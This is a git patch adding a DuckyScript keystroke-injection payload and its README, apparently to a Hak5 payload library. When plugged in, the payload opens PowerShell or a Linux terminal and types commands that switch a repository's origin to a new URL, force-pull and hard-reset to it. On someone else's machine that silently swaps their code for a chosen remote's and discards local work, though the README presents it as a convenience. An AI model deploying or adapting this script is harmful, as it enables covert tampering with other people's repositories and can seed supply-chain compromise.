From db6131eafbff1bf206bddd6c96c73ed61f9204c7 Mon Sep 17 00:00:00 2001 From: Aleff Date: Mon, 12 Jun 2023 11:28:56 +0200 Subject: [PATCH 1/2] Change Remote Git Link --- .../execution/ChangeGitRemoteLink/payload.txt | 42 +++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 payloads/library/execution/ChangeGitRemoteLink/payload.txt diff --git a/payloads/library/execution/ChangeGitRemoteLink/payload.txt b/payloads/library/execution/ChangeGitRemoteLink/payload.txt new file mode 100644 index 0000000..8e7f659 --- /dev/null +++ b/payloads/library/execution/ChangeGitRemoteLink/payload.txt @@ -0,0 +1,42 @@ +REM ########################################### +REM # | +REM # Title : Change Remote Git Link | +REM # Author : Aleff | +REM # Version : 1.0 | +REM # Category : Execution | +REM # Target : Windows 10-11/Linux | +REM # | +REM ########################################### + +REM Requirements: +REM - Internet Connection +REM - git installed +REM - Full path of the cloned repository +REM - ExecutionPolicy Bypass if runned on Windows + +REM Full path of the local repository i.e. "C:\Users\User\Documents\Repository1" +DEFINE #FULL-PATH example + +REM Link from which updates are to be downloaded so the new repository the Repository2 +DEFINE #NEW-GIT-LINK example.git + +REM Define the branch of the new repository Repository2, i.e. "main" +DEFINE #BRANCH example + +DELAY 1000 +GUI r +DELAY 1000 +STRING powershell +ENTER +DELAY 2000 + +STRINGLN cd #FULL-PATH +DELAY 1000 +STRINGLN git remote set-url origin #NEW-GIT-LINK +DELAY 1000 +STRINGLN git pull --force origin #BRANCH +DELAY 1000 +STRINGLN git reset --hard origin/#BRANCH +DELAY 1000 + +ALT F4 From 2b41ed784a1a00f4731f2e88d37266d2ef6757d7 Mon Sep 17 00:00:00 2001 From: aleff-github Date: Mon, 12 Jun 2023 11:29:22 +0200 Subject: [PATCH 2/2] Create README.md --- .../execution/ChangeGitRemoteLink/README.md | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 payloads/library/execution/ChangeGitRemoteLink/README.md diff --git a/payloads/library/execution/ChangeGitRemoteLink/README.md b/payloads/library/execution/ChangeGitRemoteLink/README.md new file mode 100644 index 0000000..35c0bbb --- /dev/null +++ b/payloads/library/execution/ChangeGitRemoteLink/README.md @@ -0,0 +1,57 @@ +# Change Remote Git Link + +This script can be used to change the remote link from which updates will be downloaded and where new updates will be uploaded. + +**Category**: Execution + +## Description + +This script can be used to change the remote link from which updates will be downloaded and where new updates will be uploaded. + +This script turns out to be very useful for aviting data leaks between old cloned repositories and new online repositories. + +To make it easier to use below you can find the various tested configurations, at the moment it is not available for macOS because since I do not have one it cannot be tested and therefore I cannot give the certainty that it works, however I hope that in the Hak5 community there may be someone who can contribute to this payload by completing it with this missing part. + +## Payload.txt config - Windows 10/11 - Tested on Windows 11 + +```DuckyScript + DELAY 1000 + GUI r + DELAY 1000 + STRING powershell + ENTER + DELAY 2000 +``` + +## Payload.txt config - Linux (Debian based) - Tested on Ubuntu 23.04 + +```DuckyScript + DELAY 1000 + CTRL-ALT t + DELAY 2000 +``` + + +## Dependencies + +* Internet Connection +* git installed +* Full path of the cloned repository +* ExecutionPolicy Bypass + +## Settings + +- Full path of the local repository i.e. "C:\Users\User\Documents\Repository1" +```DuckyScript + DEFINE #FULL-PATH example +``` + +- Link from which updates are to be downloaded so the new repository the Repository2 +```DuckyScript + DEFINE #NEW-GIT-LINK example.git +``` + +- REM Define the branch of the new repository Repository2, i.e. "main" +```DuckyScript + DEFINE #BRANCH example +``` \ No newline at end of file